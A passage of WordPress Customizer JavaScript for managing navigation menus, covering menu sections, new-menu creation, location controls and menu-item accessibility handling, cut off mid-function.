872 panel.saveManageColumnsState();
873 });
874
875 // Inject additional heading into the menu locations section's head container.
876 api.section( 'menu_locations', function( section ) {
877 section.headContainer.prepend(
878 wp.template( 'nav-menu-locations-header' )( api.Menus.data )
879 );
880 } );
881 },
882
883 /**
884 * Save hidden column states.
885 *
886 * @since 4.3.0
887 * @private
888 *
889 * @return {void}
890 */
891 saveManageColumnsState: _.debounce( function() {
892 var panel = this;
893 if ( panel._updateHiddenColumnsRequest ) {
894 panel._updateHiddenColumnsRequest.abort();
895 }
896
897 panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', {
898 hidden: panel.hidden(),
899 screenoptionnonce: $( '#screenoptionnonce' ).val(),
900 page: 'nav-menus'
901 } );
902 panel._updateHiddenColumnsRequest.always( function() {
903 panel._updateHiddenColumnsRequest = null;
904 } );
905 }, 2000 ),
906
907 /**
908 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
909 */
910 checked: function() {},
911
912 /**
913 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
914 */
915 unchecked: function() {},
916
917 /**
918 * Get hidden fields.
919 *
920 * @since 4.3.0
921 * @private
922 *
923 * @return {Array} Fields (columns) that are hidden.
924 */
925 hidden: function() {
926 return $( '.hide-column-tog' ).not( ':checked' ).map( function() {
927 var id = this.id;
928 return id.substring( 0, id.length - 5 );
929 }).get().join( ',' );
930 }
931 } );
932
933 /**
934 * wp.customize.Menus.MenuSection
935 *
936 * Customizer section for menus. This is used only for lazy-loading child controls.
937 * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type.
938 *
939 * @class wp.customize.Menus.MenuSection
940 * @augments wp.customize.Section
941 */
942 api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{
943
944 /**
945 * Initialize.
946 *
947 * @since 4.3.0
948 *
949 * @param {string} id
950 * @param {Object} options
951 */
952 initialize: function( id, options ) {
953 var section = this;
954 api.Section.prototype.initialize.call( section, id, options );
955 section.deferred.initSortables = $.Deferred();
956 },
957
958 /**
959 * Ready.
960 */
961 ready: function() {
962 var section = this, fieldActiveToggles, handleFieldActiveToggle;
963
964 if ( 'undefined' === typeof section.params.menu_id ) {
965 throw new Error( 'params.menu_id was not defined' );
966 }
967
968 /*
969 * Since newly created sections won't be registered in PHP, we need to prevent the
970 * preview's sending of the activeSections to result in this control
971 * being deactivated when the preview refreshes. So we can hook onto
972 * the setting that has the same ID and its presence can dictate
973 * whether the section is active.
974 */
975 section.active.validate = function() {
976 if ( ! api.has( section.id ) ) {
977 return false;
978 }
979 return !! api( section.id ).get();
980 };
981
982 section.populateControls();
983
984 section.navMenuLocationSettings = {};
985 section.assignedLocations = new api.Value( [] );
986
987 api.each(function( setting, id ) {
988 var matches = id.match( /^nav_menu_locations\[(.+?)]/ );
989 if ( matches ) {
990 section.navMenuLocationSettings[ matches[1] ] = setting;
991 setting.bind( function() {
992 section.refreshAssignedLocations();
993 });
994 }
995 });
996
997 section.assignedLocations.bind(function( to ) {
998 section.updateAssignedLocationsInSectionTitle( to );
999 });
1000
1001 section.refreshAssignedLocations();
1002
1003 api.bind( 'pane-contents-reflowed', function() {
1004 // Skip menus that have been removed.
1005 if ( ! section.contentContainer.parent().length ) {
1006 return;
1007 }
1008 section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' });
1009 section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1010 section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1011 section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1012 section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
1013 } );
1014
1015 /**
1016 * Update the active field class for the content container for a given checkbox toggle.
1017 *
1018 * @this {jQuery}
1019 * @return {void}
1020 */
1021 handleFieldActiveToggle = function() {
1022 var className = 'field-' + $( this ).val() + '-active';
1023 section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) );
1024 };
1025 fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' );
1026 fieldActiveToggles.each( handleFieldActiveToggle );
1027 fieldActiveToggles.on( 'click', handleFieldActiveToggle );
1028 },
1029
1030 populateControls: function() {
1031 var section = this,
1032 menuNameControlId,
1033 menuLocationsControlId,
1034 menuAutoAddControlId,
1035 menuDeleteControlId,
1036 menuControl,
1037 menuNameControl,
1038 menuLocationsControl,
1039 menuAutoAddControl,
1040 menuDeleteControl;
1041
1042 // Add the control for managing the menu name.
1043 menuNameControlId = section.id + '[name]';
1044 menuNameControl = api.control( menuNameControlId );
1045 if ( ! menuNameControl ) {
1046 menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
1047 type: 'nav_menu_name',
1048 label: api.Menus.data.l10n.menuNameLabel,
1049 section: section.id,
1050 priority: 0,
1051 settings: {
1052 'default': section.id
1053 }
1054 } );
1055 api.control.add( menuNameControl );
1056 menuNameControl.active.set( true );
1057 }
1058
1059 // Add the menu control.
1060 menuControl = api.control( section.id );
1061 if ( ! menuControl ) {
1062 menuControl = new api.controlConstructor.nav_menu( section.id, {
1063 type: 'nav_menu',
1064 section: section.id,
1065 priority: 998,
1066 settings: {
1067 'default': section.id
1068 },
1069 menu_id: section.params.menu_id
1070 } );
1071 api.control.add( menuControl );
1072 menuControl.active.set( true );
1073 }
1074
1075 // Add the menu locations control.
1076 menuLocationsControlId = section.id + '[locations]';
1077 menuLocationsControl = api.control( menuLocationsControlId );
1078 if ( ! menuLocationsControl ) {
1079 menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
1080 section: section.id,
1081 priority: 999,
1082 settings: {
1083 'default': section.id
1084 },
1085 menu_id: section.params.menu_id
1086 } );
1087 api.control.add( menuLocationsControl.id, menuLocationsControl );
1088 menuControl.active.set( true );
1089 }
1090
1091 // Add the control for managing the menu auto_add.
1092 menuAutoAddControlId = section.id + '[auto_add]';
1093 menuAutoAddControl = api.control( menuAutoAddControlId );
1094 if ( ! menuAutoAddControl ) {
1095 menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, {
1096 type: 'nav_menu_auto_add',
1097 label: '',
1098 section: section.id,
1099 priority: 1000,
1100 settings: {
1101 'default': section.id
1102 }
1103 } );
1104 api.control.add( menuAutoAddControl );
1105 menuAutoAddControl.active.set( true );
1106 }
1107
1108 // Add the control for deleting the menu.
1109 menuDeleteControlId = section.id + '[delete]';
1110 menuDeleteControl = api.control( menuDeleteControlId );
1111 if ( ! menuDeleteControl ) {
1112 menuDeleteControl = new api.Control( menuDeleteControlId, {
1113 section: section.id,
1114 priority: 1001,
1115 templateId: 'nav-menu-delete-button'
1116 } );
1117 api.control.add( menuDeleteControl.id, menuDeleteControl );
1118 menuDeleteControl.active.set( true );
1119 menuDeleteControl.deferred.embedded.done( function () {
1120 menuDeleteControl.container.find( 'button' ).on( 'click', function() {
1121 var menuId = section.params.menu_id;
1122 var menuControl = api.Menus.getMenuControl( menuId );
1123 menuControl.setting.set( false );
1124 });
1125 } );
1126 }
1127 },
1128
1129 /**
1130 *
1131 */
1132 refreshAssignedLocations: function() {
1133 var section = this,
1134 menuTermId = section.params.menu_id,
1135 currentAssignedLocations = [];
1136 _.each( section.navMenuLocationSettings, function( setting, themeLocation ) {
1137 if ( setting() === menuTermId ) {
1138 currentAssignedLocations.push( themeLocation );
1139 }
1140 });
1141 section.assignedLocations.set( currentAssignedLocations );
1142 },
1143
1144 /**
1145 * @param {Array} themeLocationSlugs Theme location slugs.
1146 */
1147 updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) {
1148 var section = this,
1149 $title;
1150
1151 $title = section.container.find( '.accordion-section-title button:first' );
1152 $title.find( '.menu-in-location' ).remove();
1153 _.each( themeLocationSlugs, function( themeLocationSlug ) {
1154 var $label, locationName;
1155 $label = $( '<span class="menu-in-location"></span>' );
1156 locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ];
1157 $label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) );
1158 $title.append( $label );
1159 });
1160
1161 section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length );
1162
1163 },
1164
1165 onChangeExpanded: function( expanded, args ) {
1166 var section = this, completeCallback;
1167
1168 if ( expanded ) {
1169 wpNavMenu.menuList = section.contentContainer;
1170 wpNavMenu.targetList = wpNavMenu.menuList;
1171
1172 // Add attributes needed by wpNavMenu.
1173 $( '#menu-to-edit' ).removeAttr( 'id' );
1174 wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' );
1175
1176 api.Menus.MenuItemControl.prototype.initAccessibility();
1177
1178 _.each( api.section( section.id ).controls(), function( control ) {
1179 if ( 'nav_menu_item' === control.params.type ) {
1180 control.actuallyEmbed();
1181 }
1182 } );
1183
1184 // Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues.
1185 if ( args.completeCallback ) {
1186 completeCallback = args.completeCallback;
1187 }
1188 args.completeCallback = function() {
1189 if ( 'resolved' !== section.deferred.initSortables.state() ) {
1190 wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above.
1191 section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable.
1192
1193 // @todo Note that wp.customize.reflowPaneContents() is debounced,
1194 // so this immediate change will show a slight flicker while priorities get updated.
1195 api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems();
1196 }
1197 if ( _.isFunction( completeCallback ) ) {
1198 completeCallback();
1199 }
1200 };
1201 }
1202 api.Section.prototype.onChangeExpanded.call( section, expanded, args );
1203 },
1204
1205 /**
1206 * Highlight how a user may create new menu items.
1207 *
1208 * This method reminds the user to create new menu items and how.
1209 * It's exposed this way because this class knows best which UI needs
1210 * highlighted but those expanding this section know more about why and
1211 * when the affordance should be highlighted.
1212 *
1213 * @since 4.9.0
1214 *
1215 * @return {void}
1216 */
1217 highlightNewItemButton: function() {
1218 api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } );
1219 }
1220 });
1221
1222 /**
1223 * Create a nav menu setting and section.
1224 *
1225 * @since 4.9.0
1226 *
1227 * @param {string} [name=''] Nav menu name.
1228 * @return {wp.customize.Menus.MenuSection} Added nav menu.
1229 */
1230 api.Menus.createNavMenu = function createNavMenu( name ) {
1231 var customizeId, placeholderId, setting;
1232 placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
1233
1234 customizeId = 'nav_menu[' + String( placeholderId ) + ']';
1235
1236 // Register the menu control setting.
1237 setting = api.create( customizeId, customizeId, {}, {
1238 type: 'nav_menu',
1239 transport: api.Menus.data.settingTransport,
1240 previewer: api.previewer
1241 } );
1242 setting.set( $.extend(
1243 {},
1244 api.Menus.data.defaultSettingValues.nav_menu,
1245 {
1246 name: name || ''
1247 }
1248 ) );
1249
1250 /*
1251 * Add the menu section (and its controls).
1252 * Note that this will automatically create the required controls
1253 * inside via the Section's ready method.
1254 */
1255 return api.section.add( new api.Menus.MenuSection( customizeId, {
1256 panel: 'nav_menus',
1257 title: displayNavMenuName( name ),
1258 customizeAction: api.Menus.data.l10n.customizingMenus,
1259 priority: 10,
1260 menu_id: placeholderId
1261 } ) );
1262 };
1263
1264 /**
1265 * wp.customize.Menus.NewMenuSection
1266 *
1267 * Customizer section for new menus.
1268 *
1269 * @class wp.customize.Menus.NewMenuSection
1270 * @augments wp.customize.Section
1271 */
1272 api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{
1273
1274 /**
1275 * Add behaviors for the accordion section.
1276 *
1277 * @since 4.3.0
1278 */
1279 attachEvents: function() {
1280 var section = this,
1281 container = section.container,
1282 contentContainer = section.contentContainer,
1283 navMenuSettingPattern = /^nav_menu\[/;
1284
1285 section.headContainer.find( '.accordion-section-title' ).replaceWith(
1286 wp.template( 'nav-menu-create-menu-section-title' )
1287 );
1288
1289 /*
1290 * We have to manually handle section expanded because we do not
1291 * apply the `accordion-section-title` class to this button-driven section.
1292 */
1293 container.on( 'click', '.customize-add-menu-button', function() {
1294 section.expand();
1295 });
1296
1297 contentContainer.on( 'keydown', '.menu-name-field', function( event ) {
1298 if ( 13 === event.which ) { // Enter.
1299 section.submit();
1300 }
1301 } );
1302 contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) {
1303 section.submit();
1304 event.stopPropagation();
1305 event.preventDefault();
1306 } );
1307
1308 /**
1309 * Get number of non-deleted nav menus.
1310 *
1311 * @since 4.9.0
1312 * @return {number} Count.
1313 */
1314 function getNavMenuCount() {
1315 var count = 0;
1316 api.each( function( setting ) {
1317 if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) {
1318 count += 1;
1319 }
1320 } );
1321 return count;
1322 }
1323
1324 /**
1325 * Update visibility of notice to prompt users to create menus.
1326 *
1327 * @since 4.9.0
1328 * @return {void}
1329 */
1330 function updateNoticeVisibility() {
1331 container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 );
1332 }
1333
1334 /**
1335 * Handle setting addition.
1336 *
1337 * @since 4.9.0
1338 * @param {wp.customize.Setting} setting - Added setting.
1339 * @return {void}
1340 */
1341 function addChangeEventListener( setting ) {
1342 if ( navMenuSettingPattern.test( setting.id ) ) {
1343 setting.bind( updateNoticeVisibility );
1344 updateNoticeVisibility();
1345 }
1346 }
1347
1348 /**
1349 * Handle setting removal.
1350 *
1351 * @since 4.9.0
1352 * @param {wp.customize.Setting} setting - Removed setting.
1353 * @return {void}
1354 */
1355 function removeChangeEventListener( setting ) {
1356 if ( navMenuSettingPattern.test( setting.id ) ) {
1357 setting.unbind( updateNoticeVisibility );
1358 updateNoticeVisibility();
1359 }
1360 }
1361
1362 api.each( addChangeEventListener );
1363 api.bind( 'add', addChangeEventListener );
1364 api.bind( 'removed', removeChangeEventListener );
1365 updateNoticeVisibility();
1366
1367 api.Section.prototype.attachEvents.apply( section, arguments );
1368 },
1369
1370 /**
1371 * Set up the control.
1372 *
1373 * @since 4.9.0
1374 */
1375 ready: function() {
1376 this.populateControls();
1377 },
1378
1379 /**
1380 * Create the controls for this section.
1381 *
1382 * @since 4.9.0
1383 */
1384 populateControls: function() {
1385 var section = this,
1386 menuNameControlId,
1387 menuLocationsControlId,
1388 newMenuSubmitControlId,
1389 menuNameControl,
1390 menuLocationsControl,
1391 newMenuSubmitControl;
1392
1393 menuNameControlId = section.id + '[name]';
1394 menuNameControl = api.control( menuNameControlId );
1395 if ( ! menuNameControl ) {
1396 menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
1397 label: api.Menus.data.l10n.menuNameLabel,
1398 description: api.Menus.data.l10n.newMenuNameDescription,
1399 section: section.id,
1400 priority: 0
1401 } );
1402 api.control.add( menuNameControl.id, menuNameControl );
1403 menuNameControl.active.set( true );
1404 }
1405
1406 menuLocationsControlId = section.id + '[locations]';
1407 menuLocationsControl = api.control( menuLocationsControlId );
1408 if ( ! menuLocationsControl ) {
1409 menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
1410 section: section.id,
1411 priority: 1,
1412 menu_id: '',
1413 isCreating: true
1414 } );
1415 api.control.add( menuLocationsControlId, menuLocationsControl );
1416 menuLocationsControl.active.set( true );
1417 }
1418
1419 newMenuSubmitControlId = section.id + '[submit]';
1420 newMenuSubmitControl = api.control( newMenuSubmitControlId );
1421 if ( !newMenuSubmitControl ) {
1422 newMenuSubmitControl = new api.Control( newMenuSubmitControlId, {
1423 section: section.id,
1424 priority: 1,
1425 templateId: 'nav-menu-submit-new-button'
1426 } );
1427 api.control.add( newMenuSubmitControlId, newMenuSubmitControl );
1428 newMenuSubmitControl.active.set( true );
1429 }
1430 },
1431
1432 /**
1433 * Create the new menu with name and location supplied by the user.
1434 *
1435 * @since 4.9.0
1436 */
1437 submit: function() {
1438 var section = this,
1439 contentContainer = section.contentContainer,
1440 nameInput = contentContainer.find( '.menu-name-field' ).first(),
1441 name = nameInput.val(),
1442 menuSection;
1443
1444 if ( ! name ) {
1445 nameInput.addClass( 'invalid' );
1446 nameInput.focus();
1447 return;
1448 }
1449
1450 menuSection = api.Menus.createNavMenu( name );
1451
1452 // Clear name field.
1453 nameInput.val( '' );
1454 nameInput.removeClass( 'invalid' );
1455
1456 contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() {
1457 var checkbox = $( this ),
1458 navMenuLocationSetting;
1459
1460 if ( checkbox.prop( 'checked' ) ) {
1461 navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' );
1462 navMenuLocationSetting.set( menuSection.params.menu_id );
1463
1464 // Reset state for next new menu.
1465 checkbox.prop( 'checked', false );
1466 }
1467 } );
1468
1469 wp.a11y.speak( api.Menus.data.l10n.menuAdded );
1470
1471 // Focus on the new menu section.
1472 menuSection.focus( {
1473 completeCallback: function() {
1474 menuSection.highlightNewItemButton();
1475 }
1476 } );
1477 },
1478
1479 /**
1480 * Select a default location.
1481 *
1482 * This method selects a single location by default so we can support
1483 * creating a menu for a specific menu location.
1484 *
1485 * @since 4.9.0
1486 *
1487 * @param {string|null} locationId - The ID of the location to select. `null` clears all selections.
1488 * @return {void}
1489 */
1490 selectDefaultLocation: function( locationId ) {
1491 var locationControl = api.control( this.id + '[locations]' ),
1492 locationSelections = {};
1493
1494 if ( locationId !== null ) {
1495 locationSelections[ locationId ] = true;
1496 }
1497
1498 locationControl.setSelections( locationSelections );
1499 }
1500 });
1501
1502 /**
1503 * wp.customize.Menus.MenuLocationControl
1504 *
1505 * Customizer control for menu locations (rendered as a <select>).
1506 * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type.
1507 *
1508 * @class wp.customize.Menus.MenuLocationControl
1509 * @augments wp.customize.Control
1510 */
1511 api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{
1512 initialize: function( id, options ) {
1513 var control = this,
1514 matches = id.match( /^nav_menu_locations\[(.+?)]/ );
1515 control.themeLocation = matches[1];
1516 api.Control.prototype.initialize.call( control, id, options );
1517 },
1518
1519 ready: function() {
1520 var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/;
1521
1522 // @todo It would be better if this was added directly on the setting itself, as opposed to the control.
1523 control.setting.validate = function( value ) {
1524 if ( '' === value ) {
1525 return 0;
1526 } else {
1527 return parseInt( value, 10 );
1528 }
1529 };
1530
1531 // Create and Edit menu buttons.
1532 control.container.find( '.create-menu' ).on( 'click', function() {
1533 var addMenuSection = api.section( 'add_menu' );
1534 addMenuSection.selectDefaultLocation( this.dataset.locationId );
1535 addMenuSection.focus();
1536 } );
1537 control.container.find( '.edit-menu' ).on( 'click', function() {
1538 var menuId = control.setting();
1539 api.section( 'nav_menu[' + menuId + ']' ).focus();
1540 });
1541 control.setting.bind( 'change', function() {
1542 var menuIsSelected = 0 !== control.setting();
1543 control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected );
1544 control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected );
1545 });
1546
1547 // Add/remove menus from the available options when they are added and removed.
1548 api.bind( 'add', function( setting ) {
1549 var option, menuId, matches = setting.id.match( navMenuIdRegex );
1550 if ( ! matches || false === setting() ) {
1551 return;
1552 }
1553 menuId = matches[1];
1554 option = new Option( displayNavMenuName( setting().name ), menuId );
1555 control.container.find( 'select' ).append( option );
1556 });
1557 api.bind( 'remove', function( setting ) {
1558 var menuId, matches = setting.id.match( navMenuIdRegex );
1559 if ( ! matches ) {
1560 return;
1561 }
1562 menuId = parseInt( matches[1], 10 );
1563 if ( control.setting() === menuId ) {
1564 control.setting.set( '' );
1565 }
1566 control.container.find( 'option[value=' + menuId + ']' ).remove();
1567 });
1568 api.bind( 'change', function( setting ) {
1569 var menuId, matches = setting.id.match( navMenuIdRegex );
1570 if ( ! matches ) {
1571 return;
1572 }
1573 menuId = parseInt( matches[1], 10 );
1574 if ( false === setting() ) {
1575 if ( control.setting() === menuId ) {
1576 control.setting.set( '' );
1577 }
1578 control.container.find( 'option[value=' + menuId + ']' ).remove();
1579 } else {
1580 control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) );
1581 }
1582 });
1583 }
1584 });
1585
1586 api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{
1587
1588 /**
1589 * wp.customize.Menus.MenuItemControl
1590 *
1591 * Customizer control for menu items.
1592 * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type.
1593 *
1594 * @constructs wp.customize.Menus.MenuItemControl
1595 * @augments wp.customize.Control
1596 *
1597 * @inheritDoc
1598 */
1599 initialize: function( id, options ) {
1600 var control = this;
1601 control.expanded = new api.Value( false );
1602 control.expandedArgumentsQueue = [];
1603 control.expanded.bind( function( expanded ) {
1604 var args = control.expandedArgumentsQueue.shift();
1605 args = $.extend( {}, control.defaultExpandedArguments, args );
1606 control.onChangeExpanded( expanded, args );
1607 });
1608 api.Control.prototype.initialize.call( control, id, options );
1609 control.active.validate = function() {
1610 var value, section = api.section( control.section() );
1611 if ( section ) {
1612 value = section.active();
1613 } else {
1614 value = false;
1615 }
1616 return value;
1617 };
1618 },
1619
1620 /**
1621 * Set up the initial state of the screen reader accessibility information for menu items.
1622 *
1623 * @since 6.6.0
1624 */
1625 initAccessibility: function() {
1626 var control = this,
1627 menu = $( '#menu-to-edit' );
1628
1629 // Refresh the accessibility when the user comes close to the item in any way.
1630 menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility', '.menu-item', function(){
1631 control.refreshAdvancedAccessibilityOfItem( $( this ).find( 'button.item-edit' ) );
1632 } );
1633
1634 // We have to update on click as well because we might hover first, change the item, and then click.
1635 menu.on( 'click', 'button.item-edit', function() {
1636 control.refreshAdvancedAccessibilityOfItem( $( this ) );
1637 } );
1638 },
1639
1640 /**
1641 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
1642 *
1643 * Refreshes advanced accessibility buttons for one menu item.
1644 * Shows or hides buttons based on the location of the menu item.
1645 *
1646 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
1647 *
1648 * @since 6.6.0
1649 */
1650 refreshAdvancedAccessibilityOfItem: function( itemToRefresh ) {
1651 // Only refresh accessibility when necessary.
1652 if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
1653 return;
1654 }
1655
1656 var primaryItems, itemPosition, title,
1657 parentItem, parentItemId, parentItemName, subItems, totalSubItems,
1658 $this = $( itemToRefresh ),
1659 menuItem = $this.closest( 'li.menu-item' ).first(),
1660 depth = menuItem.menuItemDepth(),
1661 isPrimaryMenuItem = ( 0 === depth ),
1662 itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
1663 menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-type' ).text(),
1664 totalMenuItems = $( '#menu-to-edit li' ).length;
1665
1666 if ( isPrimaryMenuItem ) {
1667 primaryItems = $( '.menu-item-depth-0' ),
1668 itemPosition = primaryItems.index( menuItem ) + 1,
1669 totalMenuItems = primaryItems.length,
1670 // String together help text for primary menu items.
1671 title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems );
1672 } else {
1673 parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
1674 parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
1675 parentItemName = parentItem.find( '.menu-item-title' ).text(),
1676 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
1677 totalSubItems = subItems.length,
1678 itemPosition = $( subItems.parents( '.menu-item' ).get().reverse() ).index( menuItem ) + 1;
1679
1680 // String together help text for sub menu items.
1681 if ( depth < 2 ) {
1682 title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName );
1683 } else {
1684 title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth );
1685 }
1686 }
1687
1688 $this.find( '.screen-reader-text' ).text( title );
1689
1690 // Mark this item's accessibility as refreshed.
1691 $this.data( 'needs_accessibility_refresh', false );
1692 },
1693
1694 /**
1695 * Override the embed() method to do nothing,
1696 * so that the control isn't embedded on load,
1697 * unless the containing section is already expanded.
1698 *
1699 * @since 4.3.0
1700 */
1701 embed: function() {
1702 var control = this,
1703 sectionId = control.section(),
1704 section;
1705 if ( ! sectionId ) {
1706 return;
1707 }
1708 section = api.section( sectionId );
1709 if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) {
1710 control.actuallyEmbed();
1711 }
1712 },
1713
1714 /**
1715 * This function is called in Section.onChangeExpanded() so the control
1716 * will only get embedded when the Section is first expanded.
1717 *
1718 * @since 4.3.0
1719 */
1720 actuallyEmbed: function() {
1721 var control = this;
1722 if ( 'resolved' === control.deferred.embedded.state() ) {
1723 return;
1724 }
1725 control.renderContent();
1726 control.deferred.embedded.resolve(); // This triggers control.ready().
1727
1728 // Mark all menu items as unprocessed.
1729 $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true );
1730 },
1731
1732 /**
1733 * Set up the control.
1734 */
1735 ready: function() {
1736 if ( 'undefined' === typeof this.params.menu_item_id ) {
1737 throw new Error( 'params.menu_item_id was not defined' );
1738 }
1739
1740 this._setupControlToggle();
1741 this._setupReorderUI();
1742 this._setupUpdateUI();
1743 this._setupRemoveUI();
1744 this._setupLinksUI();
1745 this._setupTitleUI();
1746 },
1747
1748 /**
1749 * Show/hide the settings when clicking on the menu item handle.
1750 */
1751 _setupControlToggle: function() {
1752 var control = this;
1753
1754 this.container.find( '.menu-item-handle' ).on( 'click', function( e ) {
1755 e.preventDefault();
1756 e.stopPropagation();
1757 var menuControl = control.getMenuControl(),
1758 isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
1759 isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
1760
1761 if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
1762 api.Menus.availableMenuItemsPanel.close();
1763 }
1764
1765 if ( menuControl.isReordering || menuControl.isSorting ) {
1766 return;
1767 }
1768 control.toggleForm();
1769 } );
1770 },
1771
1772 /**
1773 * Set up the menu-item-reorder-nav
1774 */
1775 _setupReorderUI: function() {
1776 var control = this, template, $reorderNav;
1777
1778 template = wp.template( 'menu-item-reorder-nav' );
1779
1780 // Add the menu item reordering elements to the menu item control.
1781 control.container.find( '.item-controls' ).after( template );
1782
1783 // Handle clicks for up/down/left-right on the reorder nav.
1784 $reorderNav = control.container.find( '.menu-item-reorder-nav' );
1785 $reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() {
1786 var moveBtn = $( this );
1787 control.params.depth = control.getDepth();
1788
1789 moveBtn.focus();
1790
1791 var isMoveUp = moveBtn.is( '.menus-move-up' ),
1792 isMoveDown = moveBtn.is( '.menus-move-down' ),
1793 isMoveLeft = moveBtn.is( '.menus-move-left' ),
1794 isMoveRight = moveBtn.is( '.menus-move-right' );
1795
1796 if ( isMoveUp ) {
1797 control.moveUp();
1798 } else if ( isMoveDown ) {
1799 control.moveDown();
1800 } else if ( isMoveLeft ) {
1801 control.moveLeft();
1802 } else if ( isMoveRight ) {
1803 control.moveRight();
1804 control.params.depth += 1;
1805 }
1806
1807 moveBtn.focus(); // Re-focus after the container was moved.
1808
1809 // Mark all menu items as unprocessed.
1810 $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true );
1811 } );
1812 },
1813
1814 /**
1815 * Set up event handlers for menu item updating.
1816 */
1817 _setupUpdateUI: function() {
1818 var control = this,
1819 settingValue = control.setting(),
1820 updateNotifications;
1821
1822 control.elements = {};
1823 control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) );
1824 control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) );
1825 control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) );
1826 control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) );
1827 control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) );
1828 control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) );
1829 control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) );
1830 // @todo Allow other elements, added by plugins, to be automatically picked up here;
1831 // allow additional values to be added to setting array.
1832
1833 _.each( control.elements, function( element, property ) {
1834 element.bind(function( value ) {
1835 if ( element.element.is( 'input[type=checkbox]' ) ) {
1836 value = ( value ) ? element.element.val() : '';
1837 }
1838
1839 var settingValue = control.setting();
1840 if ( settingValue && settingValue[ property ] !== value ) {
1841 settingValue = _.clone( settingValue );
1842 settingValue[ property ] = value;
1843 control.setting.set( settingValue );
1844 }
1845 });
1846 if ( settingValue ) {
1847 if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) {
1848 element.set( settingValue[ property ].join( ' ' ) );
1849 } else {
1850 element.set( settingValue[ property ] );
